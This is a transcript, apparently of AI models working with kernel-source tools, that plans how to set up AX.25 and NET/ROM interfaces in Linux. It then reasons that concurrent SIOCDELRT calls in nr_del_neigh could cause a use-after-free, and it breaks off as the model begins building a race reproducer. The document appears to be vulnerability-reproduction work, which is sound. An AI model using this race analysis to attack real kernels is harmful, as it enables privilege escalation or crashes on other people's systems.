Okay, so I've been thinking about creating an AX.25 interface. The goal is clear: to get a virtual TNC up and running. 

First, I need to get the interface name using `ioctl(tty_fd, SIOCGIFNAME, ifname)`.  I can see that this can work with the `mkiss_ioctl` and I need to make sure the buffer `IFNAMSIZ` is large enough, which it should be since it's 16 bytes and `ax%d` will fit.

Next, I need to bring the interface up. I know I can use `SIOCSIFFLAGS` to set the `IFF_UP` flag. But what else needs setting?  The callsign, for instance. The default is `LINUX-1`, but if a user wants to set it: I can use `ioctl(tty_fd, SIOCSIFHWADDR, &sa.sa_data)`.  The address is 7 bytes, and `mkiss` handles this, taking `arg` as a pointer to 7 bytes in `SIOCSIFHWADDR`.  It uses `copy_from_user` internally, which should be fine. It is an argument to `tty_ioctl` which then calls the line discipline's `ioctl`, so `ioctl(tty_fd, SIOCSIFHWADDR, addr_ptr)` should work.

I then started to think about KISS commands; Does `mkiss` require any special commands to initialize? No, `mkiss` itself sends KISS commands. If I am using a PTY, the program on the master side will see KISS frames, which is what I want.

To bring up the interface, I also need to set the `IFF_UP` flag. To do that, I'll need a socket: `int sk = socket(AF_AX25, SOCK_DGRAM, 0)`. I need to ensure `AF_AX25` is supported, which it is, because `net/ax25/af_ax25.c` implements it. If the `ax25` module is loaded, then `AF_AX25` will be available. Although, actually, I realize that an `AF_INET` socket also works for setting the flags via `SIOCSIFFLAGS`.

I also checked if there are other ways to create interfaces, like through `netlink` and `tun`, but they don't seem applicable to this task.

So, the simplest path seems to be the TTY line discipline approach.

Here's the plan in brief:
1.  Open a PTY master/slave pair.
2.  Set the line discipline of the slave TTY to `N_AX25` (5).
3.  Use `ioctl(slave_fd, SIOCGIFNAME, ifname)` to get the interface name.
4.  Use a socket and `SIOCSIFFLAGS` to set `IFF_UP` on the interface.

Just to be sure, I checked the definitions for `N_AX25` (5) and `ARPHRD_AX25` (3).

Lastly, I need to remember that `SIOCGIFNAME` on a TTY might be specific to `mkiss` and `6pack` line disciplines. Other line disciplines may not implement it.

map[ContextFile:drivers/net/slip/slip.c IncludeLines:true Name:slip_ioctl]

map[SourceCode:1074:	/* Perform I/O control on an active SLIP channel. */
1075:	static int slip_ioctl(struct tty_struct *tty, unsigned int cmd,
1076:			unsigned long arg)
1077:	{
1078:		struct slip *sl = tty->disc_data;
1079:		unsigned int tmp;
1080:		int __user *p = (int __user *)arg;
1081:	
1082:		/* First make sure we're connected. */
1083:		if (!sl || sl->magic != SLIP_MAGIC)
1084:			return -EINVAL;
1085:	
1086:		switch (cmd) {
1087:		case SIOCGIFNAME:
1088:			tmp = strlen(sl->dev->name) + 1;
1089:			if (copy_to_user((void __user *)arg, sl->dev->name, tmp))
1090:				return -EFAULT;
1091:			return 0;
1092:	
1093:		case SIOCGIFENCAP:
1094:			if (put_user(sl->mode, p))
1095:				return -EFAULT;
1096:			return 0;
1097:	
1098:		case SIOCSIFENCAP:
1099:			if (get_user(tmp, p))
1100:				return -EFAULT;
1101:	#ifndef SL_INCLUDE_CSLIP
1102:			if (tmp & (SL_MODE_CSLIP|SL_MODE_ADAPTIVE))
1103:				return -EINVAL;
1104:	#else
1105:			if ((tmp & (SL_MODE_ADAPTIVE | SL_MODE_CSLIP)) ==
1106:			    (SL_MODE_ADAPTIVE | SL_MODE_CSLIP))
1107:				/* return -EINVAL; */
1108:				tmp &= ~SL_MODE_ADAPTIVE;
1109:	#endif
1110:	#ifndef CONFIG_SLIP_MODE_SLIP6
1111:			if (tmp & SL_MODE_SLIP6)
1112:				return -EINVAL;
1113:	#endif
1114:			sl->mode = tmp;
1115:			sl->dev->type = ARPHRD_SLIP + sl->mode;
1116:			return 0;
1117:	
1118:		case SIOCSIFHWADDR:
1119:			return -EINVAL;
1120:	
1121:	#ifdef CONFIG_SLIP_SMART
1122:		/* VSV changes start here */
1123:		case SIOCSKEEPALIVE:
1124:			if (get_user(tmp, p))
1125:				return -EFAULT;
1126:			if (tmp > 255) /* max for unchar */
1127:				return -EINVAL;
1128:	
1129:			spin_lock_bh(&sl->lock);
1130:			if (!sl->tty) {
1131:				spin_unlock_bh(&sl->lock);
1132:				return -ENODEV;
1133:			}
1134:			sl->keepalive = (u8)tmp;
1135:			if (sl->keepalive != 0) {
1136:				mod_timer(&sl->keepalive_timer,
1137:						jiffies + sl->keepalive * HZ);
1138:				set_bit(SLF_KEEPTEST, &sl->flags);
1139:			} else
1140:				timer_delete(&sl->keepalive_timer);
1141:			spin_unlock_bh(&sl->lock);
1142:			return 0;
1143:	
1144:		case SIOCGKEEPALIVE:
1145:			if (put_user(sl->keepalive, p))
1146:				return -EFAULT;
1147:			return 0;
1148:	
1149:		case SIOCSOUTFILL:
1150:			if (get_user(tmp, p))
1151:				return -EFAULT;
1152:			if (tmp > 255) /* max for unchar */
1153:				return -EINVAL;
1154:			spin_lock_bh(&sl->lock);
1155:			if (!sl->tty) {
1156:				spin_unlock_bh(&sl->lock);
1157:				return -ENODEV;
1158:			}
1159:			sl->outfill = (u8)tmp;
1160:			if (sl->outfill != 0) {
1161:				mod_timer(&sl->outfill_timer,
1162:							jiffies + sl->outfill * HZ);
1163:				set_bit(SLF_OUTWAIT, &sl->flags);
1164:			} else
1165:				timer_delete(&sl->outfill_timer);
1166:			spin_unlock_bh(&sl->lock);
1167:			return 0;
1168:	
1169:		case SIOCGOUTFILL:
1170:			if (put_user(sl->outfill, p))
1171:				return -EFAULT;
1172:			return 0;
1173:		/* VSV changes end */
1174:	#endif
1175:		default:
1176:			return tty_mode_ioctl(tty, cmd, arg);
1177:		}
1178:	}
 SourceFile:drivers/net/slip/slip.c]

gemini-3-flash-preview

							input: 44554
							output: 47
							thoughts: 254
						

**My Line of Reasoning**

Okay, so I've confirmed that `SIOCGIFNAME` is definitely implemented in `slip`, which reinforces the idea that this is a typical approach for network-interface-creating line disciplines. This is good; the plan I was forming feels solid.

But, I need to consider one detail: `IFF_UP`. Does this require the interface to be linked to something? No, it's just a flag, and I'm pretty sure that it doesn't. However, with something like `mkiss`, if the TTY is closed, the interface disappears. So the process I am describing needs to keep the TTY open, otherwise, the flags could become erroneous.

Hold on, I see the user is asking about "pass `dev->type == ARPHRD_AX25` and `dev->flags & IFF_UP`." They're probably seeing this check somewhere, either in the kernel or a utility. If they follow the steps, they'll have the interface.

Alright, let's explore if there are other ways to create AX.25 interfaces. I'll need to double-check that this is the best approach. My intuition tells me to check `net/ax25/ax25_dev.c`. Is there some specific AX.25 ioctl command that could be used for interface creation? I should look into `ax25_ioctl` in `net/ax25/af_ax25.c` to see if there's anything useful there.

map[ContextFile:net/ax25/af_ax25.c IncludeLines:true Name:ax25_ioctl]

map[SourceCode:1768:	static int ax25_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
1769:	{
1770:		struct sock *sk = sock->sk;
1771:		void __user *argp = (void __user *)arg;
1772:		int res = 0;
1773:	
1774:		lock_sock(sk);
1775:		switch (cmd) {
1776:		case TIOCOUTQ: {
1777:			long amount;
1778:	
1779:			amount = sk->sk_sndbuf - sk_wmem_alloc_get(sk);
1780:			if (amount < 0)
1781:				amount = 0;
1782:			res = put_user(amount, (int __user *)argp);
1783:			break;
1784:		}
1785:	
1786:		case TIOCINQ: {
1787:			struct sk_buff *skb;
1788:			long amount = 0L;
1789:			/* These two are safe on a single CPU system as only user tasks fiddle here */
1790:			if ((skb = skb_peek(&sk->sk_receive_queue)) != NULL)
1791:				amount = skb->len;
1792:			res = put_user(amount, (int __user *) argp);
1793:			break;
1794:		}
1795:	
1796:		case SIOCAX25ADDUID:	/* Add a uid to the uid/call map table */
1797:		case SIOCAX25DELUID:	/* Delete a uid from the uid/call map table */
1798:		case SIOCAX25GETUID: {
1799:			struct sockaddr_ax25 sax25;
1800:			if (copy_from_user(&sax25, argp, sizeof(sax25))) {
1801:				res = -EFAULT;
1802:				break;
1803:			}
1804:			res = ax25_uid_ioctl(cmd, &sax25);
1805:			break;
1806:		}
1807:	
1808:		case SIOCAX25NOUID: {	/* Set the default policy (default/bar) */
1809:			long amount;
1810:			if (!capable(CAP_NET_ADMIN)) {
1811:				res = -EPERM;
1812:				break;
1813:			}
1814:			if (get_user(amount, (long __user *)argp)) {
1815:				res = -EFAULT;
1816:				break;
1817:			}
1818:			if (amount < 0 || amount > AX25_NOUID_BLOCK) {
1819:				res = -EINVAL;
1820:				break;
1821:			}
1822:			ax25_uid_policy = amount;
1823:			res = 0;
1824:			break;
1825:		}
1826:	
1827:		case SIOCADDRT:
1828:		case SIOCDELRT:
1829:		case SIOCAX25OPTRT:
1830:			if (!capable(CAP_NET_ADMIN)) {
1831:				res = -EPERM;
1832:				break;
1833:			}
1834:			res = ax25_rt_ioctl(cmd, argp);
1835:			break;
1836:	
1837:		case SIOCAX25CTLCON:
1838:			if (!capable(CAP_NET_ADMIN)) {
1839:				res = -EPERM;
1840:				break;
1841:			}
1842:			res = ax25_ctl_ioctl(cmd, argp);
1843:			break;
1844:	
1845:		case SIOCAX25GETINFO:
1846:		case SIOCAX25GETINFOOLD: {
1847:			ax25_cb *ax25 = sk_to_ax25(sk);
1848:			struct ax25_info_struct ax25_info;
1849:	
1850:			ax25_info.t1        = ax25->t1   / HZ;
1851:			ax25_info.t2        = ax25->t2   / HZ;
1852:			ax25_info.t3        = ax25->t3   / HZ;
1853:			ax25_info.idle      = ax25->idle / (60 * HZ);
1854:			ax25_info.n2        = ax25->n2;
1855:			ax25_info.t1timer   = ax25_display_timer(&ax25->t1timer)   / HZ;
1856:			ax25_info.t2timer   = ax25_display_timer(&ax25->t2timer)   / HZ;
1857:			ax25_info.t3timer   = ax25_display_timer(&ax25->t3timer)   / HZ;
1858:			ax25_info.idletimer = ax25_display_timer(&ax25->idletimer) / (60 * HZ);
1859:			ax25_info.n2count   = ax25->n2count;
1860:			ax25_info.state     = ax25->state;
1861:			ax25_info.rcv_q     = sk_rmem_alloc_get(sk);
1862:			ax25_info.snd_q     = sk_wmem_alloc_get(sk);
1863:			ax25_info.vs        = ax25->vs;
1864:			ax25_info.vr        = ax25->vr;
1865:			ax25_info.va        = ax25->va;
1866:			ax25_info.vs_max    = ax25->vs; /* reserved */
1867:			ax25_info.paclen    = ax25->paclen;
1868:			ax25_info.window    = ax25->window;
1869:	
1870:			/* old structure? */
1871:			if (cmd == SIOCAX25GETINFOOLD) {
1872:				static int warned = 0;
1873:				if (!warned) {
1874:					printk(KERN_INFO "%s uses old SIOCAX25GETINFO\n",
1875:						current->comm);
1876:					warned=1;
1877:				}
1878:	
1879:				if (copy_to_user(argp, &ax25_info, sizeof(struct ax25_info_struct_deprecated))) {
1880:					res = -EFAULT;
1881:					break;
1882:				}
1883:			} else {
1884:				if (copy_to_user(argp, &ax25_info, sizeof(struct ax25_info_struct))) {
1885:					res = -EINVAL;
1886:					break;
1887:				}
1888:			}
1889:			res = 0;
1890:			break;
1891:		}
1892:	
1893:		case SIOCAX25ADDFWD:
1894:		case SIOCAX25DELFWD: {
1895:			struct ax25_fwd_struct ax25_fwd;
1896:			if (!capable(CAP_NET_ADMIN)) {
1897:				res = -EPERM;
1898:				break;
1899:			}
1900:			if (copy_from_user(&ax25_fwd, argp, sizeof(ax25_fwd))) {
1901:				res = -EFAULT;
1902:				break;
1903:			}
1904:			res = ax25_fwd_ioctl(cmd, &ax25_fwd);
1905:			break;
1906:		}
1907:	
1908:		case SIOCGIFADDR:
1909:		case SIOCSIFADDR:
1910:		case SIOCGIFDSTADDR:
1911:		case SIOCSIFDSTADDR:
1912:		case SIOCGIFBRDADDR:
1913:		case SIOCSIFBRDADDR:
1914:		case SIOCGIFNETMASK:
1915:		case SIOCSIFNETMASK:
1916:		case SIOCGIFMETRIC:
1917:		case SIOCSIFMETRIC:
1918:			res = -EINVAL;
1919:			break;
1920:	
1921:		default:
1922:			res = -ENOIOCTLCMD;
1923:			break;
1924:		}
1925:		release_sock(sk);
1926:	
1927:		return res;
1928:	}
 SourceFile:net/ax25/af_ax25.c]

gemini-3-flash-preview

							input: 47738
							output: 18
							thoughts: 3041
						

**AX.25 Interface Creation: A Deep Dive**

Okay, so the goal is to create an AX.25 interface. None of the higher-level tools seem appropriate here. The TTY line discipline approach using `mkiss` is the correct path. I need to make sure I am using the standard tools that satisfy the requirements.

I have confirmed that `mkiss` and `6pack` both create interfaces of type `ARPHRD_AX25`, which is what's needed.  Since `mkiss` is more standard, that will be the preferred path to describe.

To verify, let's make sure that the required headers are accessible. `N_AX25` is in `<linux/tty.h>`, `ARPHRD_AX25` is in `<linux/if_arp.h>`, and `SIOCGIFNAME` is in `<sys/ioctl.h>` or `<linux/sockios.h>`, and `TIOCSETD` is also in `<sys/ioctl.h>`.

A critical detail: `mkiss` requires `CAP_NET_ADMIN` to set the line discipline. I'll need to remember that.

The user also needs the interface to be brought up. I need to show the `SIOCSIFFLAGS` method.

The steps are:

1.  Open a PTY.
2.  Set line discipline to `N_AX25`.
3.  Get the interface name.
4.  Bring it up.

Since a PTY will be used, I should use the slave side for the line discipline. The PTY will provide a TTY with a `write` operation. `mkiss` should handle this properly.

Let me examine `mkiss_open` again to confirm that the TTY is used properly. It calls `ax_open`, which allocates buffers, calls `register_netdev`, and calls `netif_start_queue`. It doesn't seem to immediately write anything to the TTY. And `ax_open` does not call `ax_open_dev`. `ax_open_dev` is called later when the interface is brought UP which doesn't seem to write anything either. So it should work on a PTY.

I need to use `ioctl(slave_fd, SIOCGIFNAME, ifname_buffer)` to get the interface name. I need to make sure `arg` is a pointer to a buffer.

While `SIOCGIFNAME` is available as a socket ioctl, on a TTY with `N_AX25` it's handled by `mkiss_ioctl` which simply returns the name associated with the TTY. The correct value is `0x8910`, and it's handled by `mkiss_ioctl`. It will be passed to the line discipline if the TTY core doesn't handle it.

To bring the interface `UP`, I'll use `SIOCSIFFLAGS` with `IFF_UP`.

The program *must* keep the TTY open to maintain the interface.

If the user wants to use a real serial port instead of a PTY, the steps are the same, just opening `/dev/ttyS0` instead of a PTY.

`ARPHRD_AX25` is 3, and that is correctly set by `mkiss`.

There aren't any other *easy* drivers for AX.25. `mkiss` is the most common for the task.

I need to confirm `ARPHRD_NETROM` is actually 0.  Yes, it is defined as 0, as expected.

And `N_AX25` is 5.

I will provide a complete C code snippet to illustrate this process.

`AF_AX25` sockets are an option, but `AF_INET` works just as well. To bring the interface `UP`, you don't even need an address on the interface.

`mkiss` doesn't require a callsign to be set for the interface to come up. `ax_open_dev` doesn't check it, and the default callsign is "LINUX-1", so that should work. AX.25 packets must have a source callsign, and `mkiss` provides a default.

There's no `N_KISS`, the correct value for KISS is indeed `N_AX25`.

Here's the code example that I will provide:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

map[Expression:IFF_RUNNING]

map[Output:Documentation/networking/operstates.rst=39=ifinfomsg::if_flags & IFF_UP:
--
Documentation/networking/operstates.rst-41-
Documentation/networking/operstates.rst:42:ifinfomsg::if_flags & IFF_RUNNING:
Documentation/networking/operstates.rst-43- Interface is in RFC2863 operational state UP or UNKNOWN. This is for
--
Documentation/networking/operstates.rst=163=So basically a 802.1X supplicant interacts with the kernel like this:
--
Documentation/networking/operstates.rst-172-  succeeds, IF_OPER_DORMANT otherwise
Documentation/networking/operstates.rst:173:- see how operstate and IFF_RUNNING is echoed via netlink multicast
Documentation/networking/operstates.rst-174-- set interface back to IF_OPER_DORMANT if 802.1X reauthentication
--
Documentation/networking/operstates.rst=179=IFLA_OPERSTATE to a sane value.
Documentation/networking/operstates.rst-180-
Documentation/networking/operstates.rst:181:A routing daemon or dhcp client just needs to care for IFF_RUNNING or
Documentation/networking/operstates.rst-182-waiting for operstate to go IF_OPER_UP/IF_OPER_UNKNOWN before
--
drivers/net/ethernet/via/via-rhine.c=896=static int rhine_init_one_common(struct device *hwdev, u32 quirks,
--
drivers/net/ethernet/via/via-rhine.c-1009-
drivers/net/ethernet/via/via-rhine.c:1010:			/* set IFF_RUNNING */
drivers/net/ethernet/via/via-rhine.c-1011-			if (mii_status & BMSR_LSTATUS)
--
drivers/net/loopback.c=275=static int __init blackhole_netdev_init(void)
--
drivers/net/loopback.c-286-
drivers/net/loopback.c:287:	blackhole_netdev->flags |= IFF_UP | IFF_RUNNING;
drivers/net/loopback.c-288-
--
drivers/s390/net/ctcm_main.c=1597=static int ctcm_shutdown_device(struct ccwgroup_device *cgdev)
--
drivers/s390/net/ctcm_main.c-1610-		ctcm_close(dev);
drivers/s390/net/ctcm_main.c:1611:		dev->flags &= ~IFF_RUNNING;
drivers/s390/net/ctcm_main.c-1612-		channel_free(priv->channel[CTCM_READ]);
--
drivers/s390/net/ctcm_sysfs.c=33=static ssize_t ctcm_buffer_write(struct device *dev,
--
drivers/s390/net/ctcm_sysfs.c-56-
drivers/s390/net/ctcm_sysfs.c:57:	if ((ndev->flags & IFF_RUNNING) &&
drivers/s390/net/ctcm_sysfs.c-58-	    (bs1 < (ndev->mtu + LL_HEADER_LENGTH + 2)))
--
drivers/s390/net/ctcm_sysfs.c-62-	priv->channel[CTCM_WRITE]->max_bufsize = bs1;
drivers/s390/net/ctcm_sysfs.c:63:	if (!(ndev->flags & IFF_RUNNING))
drivers/s390/net/ctcm_sysfs.c-64-		ndev->mtu = bs1 - LL_HEADER_LENGTH - 2;
--
fs/smb/server/smb2pdu.c=7949=static int fsctl_query_iface_info_ioctl(struct ksmbd_conn *conn,
--
fs/smb/server/smb2pdu.c-7970-		flags = netif_get_flags(netdev);
fs/smb/server/smb2pdu.c:7971:		if (!(flags & IFF_RUNNING))
fs/smb/server/smb2pdu.c-7972-			continue;
--
include/uapi/linux/if.h-65- *	Volatile.
include/uapi/linux/if.h:66: * @IFF_RUNNING: interface RFC2863 OPER_UP. Volatile.
include/uapi/linux/if.h-67- * @IFF_NOARP: no ARP protocol. Can be toggled through sysfs. Volatile.
--
include/uapi/linux/if.h=82=enum net_device_flags {
--
include/uapi/linux/if.h-90-	IFF_NOTRAILERS			= 1<<5,  /* sysfs */
include/uapi/linux/if.h:91:	IFF_RUNNING			= 1<<6,  /* volatile */
include/uapi/linux/if.h-92-	IFF_NOARP			= 1<<7,  /* sysfs */
--
include/uapi/linux/if.h-117-#define IFF_NOTRAILERS			IFF_NOTRAILERS
include/uapi/linux/if.h:118:#define IFF_RUNNING			IFF_RUNNING
include/uapi/linux/if.h-119-#define IFF_NOARP			IFF_NOARP
--
include/uapi/linux/if.h-136-#define IFF_VOLATILE	(IFF_LOOPBACK|IFF_POINTOPOINT|IFF_BROADCAST|IFF_ECHO|\
include/uapi/linux/if.h:137:		IFF_MASTER|IFF_SLAVE|IFF_RUNNING|IFF_LOWER_UP|IFF_DORMANT)
include/uapi/linux/if.h-138-
--
net/bluetooth/6lowpan.c=571=static void netdev_setup(struct net_device *dev)
--
net/bluetooth/6lowpan.c-574-	dev->needed_tailroom	= 0;
net/bluetooth/6lowpan.c:575:	dev->flags		= IFF_RUNNING | IFF_MULTICAST;
net/bluetooth/6lowpan.c-576-	dev->watchdog_timeo	= 0;
--
net/core/dev.c=1718=int netif_open(struct net_device *dev, struct netlink_ext_ack *extack)
--
net/core/dev.c-1728-
net/core/dev.c:1729:	rtmsg_ifinfo(RTM_NEWLINK, dev, IFF_UP | IFF_RUNNING, GFP_KERNEL, 0, NULL);
net/core/dev.c-1730-	call_netdevice_notifiers(NETDEV_UP, dev);
--
net/core/dev.c=1791=void netif_close_many(struct list_head *head, bool unlink)
--
net/core/dev.c-1802-	list_for_each_entry_safe(dev, tmp, head, close_list) {
net/core/dev.c:1803:		rtmsg_ifinfo(RTM_NEWLINK, dev, IFF_UP | IFF_RUNNING, GFP_KERNEL, 0, NULL);
net/core/dev.c-1804-		call_netdevice_notifiers(NETDEV_DOWN, dev);
--
net/core/dev.c=9718=unsigned int netif_get_flags(const struct net_device *dev)
--
net/core/dev.c-9723-				IFF_ALLMULTI |
net/core/dev.c:9724:				IFF_RUNNING |
net/core/dev.c-9725-				IFF_LOWER_UP |
--
net/core/dev.c-9731-		if (netif_oper_up(dev))
net/core/dev.c:9732:			flags |= IFF_RUNNING;
net/core/dev.c-9733-		if (netif_carrier_ok(dev))
--
net/ipv4/fib_frontend.c=1493=static int fib_netdev_event(struct notifier_block *this, unsigned long event, void *ptr)
--
net/ipv4/fib_frontend.c-1528-		flags = netif_get_flags(dev);
net/ipv4/fib_frontend.c:1529:		if (flags & (IFF_RUNNING | IFF_LOWER_UP))
net/ipv4/fib_frontend.c-1530-			fib_sync_up(dev, RTNH_F_LINKDOWN);
--
net/ipv4/fib_semantics.c=2078=int fib_sync_up(struct net_device *dev, unsigned char nh_flags)
--
net/ipv4/fib_semantics.c-2090-
net/ipv4/fib_semantics.c:2091:		if (flags & (IFF_RUNNING | IFF_LOWER_UP))
net/ipv4/fib_semantics.c-2092-			nh_flags |= RTNH_F_LINKDOWN;
--
net/ipv4/nexthop.c=3938=static int nh_netdev_event(struct notifier_block *this,
--
net/ipv4/nexthop.c-3949-	case NETDEV_CHANGE:
net/ipv4/nexthop.c:3950:		if (!(netif_get_flags(dev) & (IFF_RUNNING | IFF_LOWER_UP)))
net/ipv4/nexthop.c-3951-			nexthop_flush_dev(dev, event);
--
net/mpls/af_mpls.c=716=static int mpls_nh_assign_dev(struct net *net, struct mpls_route *rt,
--
net/mpls/af_mpls.c-742-		flags = netif_get_flags(dev);
net/mpls/af_mpls.c:743:		if (!(flags & (IFF_RUNNING | IFF_LOWER_UP)))
net/mpls/af_mpls.c-744-			nh->nh_flags |= RTNH_F_LINKDOWN;
--
net/mpls/af_mpls.c=1639=static int mpls_dev_notify(struct notifier_block *this, unsigned long event,
--
net/mpls/af_mpls.c-1672-		flags = netif_get_flags(dev);
net/mpls/af_mpls.c:1673:		if (flags & (IFF_RUNNING | IFF_LOWER_UP))
net/mpls/af_mpls.c-1674-			mpls_ifup(dev, RTNH_F_DEAD | RTNH_F_LINKDOWN);
--
net/mpls/af_mpls.c-1679-		flags = netif_get_flags(dev);
net/mpls/af_mpls.c:1680:		if (flags & (IFF_RUNNING | IFF_LOWER_UP)) {
net/mpls/af_mpls.c-1681-			mpls_ifup(dev, RTNH_F_DEAD | RTNH_F_LINKDOWN);
--
tools/testing/selftests/net/tun.c=177=static int tun_open(char *dev, const int flags, const int hdrlen,
--
tools/testing/selftests/net/tun.c-220-
tools/testing/selftests/net/tun.c:221:	ifr.ifr_flags |= (IFF_UP | IFF_RUNNING);
tools/testing/selftests/net/tun.c-222-	if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
--
tools/virtio/vhost_net_test.c=102=static void vdev_create_socket(struct vdev_info *dev, char *tun_name)
--
tools/virtio/vhost_net_test.c-115-	assert(ioctl(dev->sock, SIOCGIFFLAGS, &ifr) >= 0);
tools/virtio/vhost_net_test.c:116:	ifr.ifr_flags |= (IFF_UP | IFF_RUNNING);
tools/virtio/vhost_net_test.c-117-	assert(ioctl(dev->sock, SIOCSIFFLAGS, &ifr) >= 0);
]

gemini-3-flash-preview

							input: 55039
							output: 1344
							thoughts: 162
						

**My Analysis of IFF_RUNNING in the Context of `mkiss`**

Okay, so I'm thinking about how the `IFF_RUNNING` flag gets set, and it seems the kernel handles a lot of it automatically. Specifically, when an interface is up and has a carrier, the kernel typically sets `IFF_RUNNING`. Looking into `net/core/dev.c`, I see the relevant code:

```c
 9731:		if (netif_oper_up(dev))
 9732:			flags |= IFF_RUNNING;
```

Right, and `netif_oper_up` is dependent on both the carrier and the `operstate`. Now, I'm trying to figure out how this applies to `mkiss`. I don't see anything explicitly managing the carrier state within `mkiss` itself, which means it likely assumes a default state. Since `mkiss` *doesn't* call `netif_carrier_off`, I'm inferring that by default, `mkiss` will *not* cause the carrier state to be considered "off." That's the crucial insight.

Therefore, the main consideration is `IFF_UP`. Given the behavior, I conclude that `IFF_UP` is sufficient for what I need to achieve. I'm ready to proceed with the solution based on this understanding.

gemini-3.1-pro-preview

							input: 32225
							output: 23
							thoughts: 181
						

**AX.25 Interface and Routing Ioctls**

Okay, this looks promising. We can definitely create an AX.25 interface using `mkiss`, utilizing line discipline 5. The beauty of syzkaller is that it often handles loading the necessary modules like `mkiss`, or it's even compiled directly into the kernel, which is even better. I should confirm that `N_AX25` is indeed 5... Yes, it is. Perfect.

Now comes the crucial part: interacting with `nr_rt_ioctl`. The relevant ioctls are `SIOCADDRT` and `SIOCDELRT`, which control route additions and deletions, respectively. Ah, but wait a second... these are generic routing ioctls! This means we need to invoke these on an `AF_NETROM` socket! I’ll need to refresh my memory on the socket setup for this, so I will consult either `net/socket.c` or, more likely, `net/netrom/af_netrom.c` to understand how `nr_rt_ioctl` is wired within that context. That should reveal how to get these route commands to actually work.

map[Name:nr_rt_ioctl]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:nr_ioctl SourceFile:net/netrom/af_netrom.c SourceLine:1254]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 32751
							output: 43
							thoughts: 39
						

Okay, here's my interpretation of that thought process, assuming I'm already deep in networking code and comfortable with kernel internals:

**Diving into the Netrom IOCTLs**

Right, so I'm looking at `nr_ioctl` within `net/netrom/af_netrom.c`. Okay, `nr_ioctl`... that's the entry point for handling IOCTL commands in the Netrom protocol stack, and it's calling `nr_rt_ioctl`. That immediately piques my interest. The Route Table IOCTL. This is usually where the interesting routing configurations happen. I need to take a closer look at what `nr_rt_ioctl` is doing. This will likely involve route management operations, adding, deleting or changing Netrom routes. I'll need to figure out what commands it is supporting and what checks are implemented. I bet this is where the meat of the route handling logic resides.

map[ContextFile:net/netrom/af_netrom.c IncludeLines:true Name:nr_ioctl]

map[SourceCode:1208:	static int nr_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
1209:	{
1210:		struct sock *sk = sock->sk;
1211:		void __user *argp = (void __user *)arg;
1212:	
1213:		switch (cmd) {
1214:		case TIOCOUTQ: {
1215:			long amount;
1216:	
1217:			lock_sock(sk);
1218:			amount = sk->sk_sndbuf - sk_wmem_alloc_get(sk);
1219:			if (amount < 0)
1220:				amount = 0;
1221:			release_sock(sk);
1222:			return put_user(amount, (int __user *)argp);
1223:		}
1224:	
1225:		case TIOCINQ: {
1226:			struct sk_buff *skb;
1227:			long amount = 0L;
1228:	
1229:			lock_sock(sk);
1230:			/* These two are safe on a single CPU system as only user tasks fiddle here */
1231:			if ((skb = skb_peek(&sk->sk_receive_queue)) != NULL)
1232:				amount = skb->len;
1233:			release_sock(sk);
1234:			return put_user(amount, (int __user *)argp);
1235:		}
1236:	
1237:		case SIOCGIFADDR:
1238:		case SIOCSIFADDR:
1239:		case SIOCGIFDSTADDR:
1240:		case SIOCSIFDSTADDR:
1241:		case SIOCGIFBRDADDR:
1242:		case SIOCSIFBRDADDR:
1243:		case SIOCGIFNETMASK:
1244:		case SIOCSIFNETMASK:
1245:		case SIOCGIFMETRIC:
1246:		case SIOCSIFMETRIC:
1247:			return -EINVAL;
1248:	
1249:		case SIOCADDRT:
1250:		case SIOCDELRT:
1251:		case SIOCNRDECOBS:
1252:			if (!capable(CAP_NET_ADMIN))
1253:				return -EPERM;
1254:			return nr_rt_ioctl(cmd, argp);
1255:	
1256:		default:
1257:			return -ENOIOCTLCMD;
1258:		}
1259:	
1260:		return 0;
1261:	}
 SourceFile:net/netrom/af_netrom.c]

gemini-3.1-pro-preview

							input: 33799
							output: 45
							thoughts: 61
						

Okay, here's my take on those steps.

**My Approach to NET/ROM Routing**

Right, so the core of setting up and taking down NET/ROM routes boils down to creating an `AF_NETROM` socket. Once we've got that socket (`sk`), it's just a matter of using `ioctl` calls. I'll need to use `SIOCADDRT` to add a route and `SIOCDELRT` to remove one. The crucial part here, obviously, is populating the `nr_route` struct correctly. Before I get any further, I should verify the fields in `struct nr_route_struct`, I'll start with that as I suspect I will need it to use these `ioctl` calls effectively.

map[ContextFile:include/uapi/linux/netrom.h IncludeLines:true Name:nr_route_struct]

map[SourceCode:  23:	struct nr_route_struct {
  24:	#define	NETROM_NEIGH	0
  25:	#define	NETROM_NODE	1
  26:		int		type;
  27:		ax25_address	callsign;
  28:		char		device[16];
  29:		unsigned int	quality;
  30:		char		mnemonic[7];
  31:		ax25_address	neighbour;
  32:		unsigned int	obs_count;
  33:		unsigned int	ndigis;
  34:		ax25_address	digipeaters[AX25_MAX_DIGIS];
  35:	};
 SourceFile:include/uapi/linux/netrom.h]

gemini-3.1-pro-preview

							input: 34277
							output: 16
							thoughts: 613
						

**Reproducing the UAF in `nr_del_neigh`**

Okay, so I'm setting up this `nr_route_struct`, initializing it and populating some fields. I'm setting the route type to `NETROM_NEIGH` – that's a neighbour, not a full node – and specifying a callsign and interface, along with quality. The goal is to create a route entry.

Now, hold on. I'm remembering something about how the neighbour management works. The `nr_add_neigh` function appears to be initializing the `nr_neigh->count` variable to 0. Then, `nr_del_neigh` has a check for `if (nr_neigh->count == 0)`. Because we're only adding a neighbour, and not a full node with digipeaters, that `nr_neigh->count` will be 0. So, `nr_del_neigh` will proceed to call `nr_remove_neigh`.

Let me just quickly refresh my memory on `nr_add_neigh`. Yep, looks like if we call `nr_add_neigh` once, it creates the neighbour entry. The problem then arises if we call `nr_del_neigh` concurrently from two different threads. They could both successfully locate the same neighbour, both see that `count` is 0, and both proceed to call `nr_remove_neigh`. That will trigger a double `nr_neigh_put`, which is definitely a Use-After-Free vulnerability.

Alright, that's the scenario, that's the bug. Now, I need to put together a reproducer. It's time to fire up the `race` toolkit to concurrently run `SIOCDELRT` calls. This should trigger the race condition and the UAF.

map[Name:race]

map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
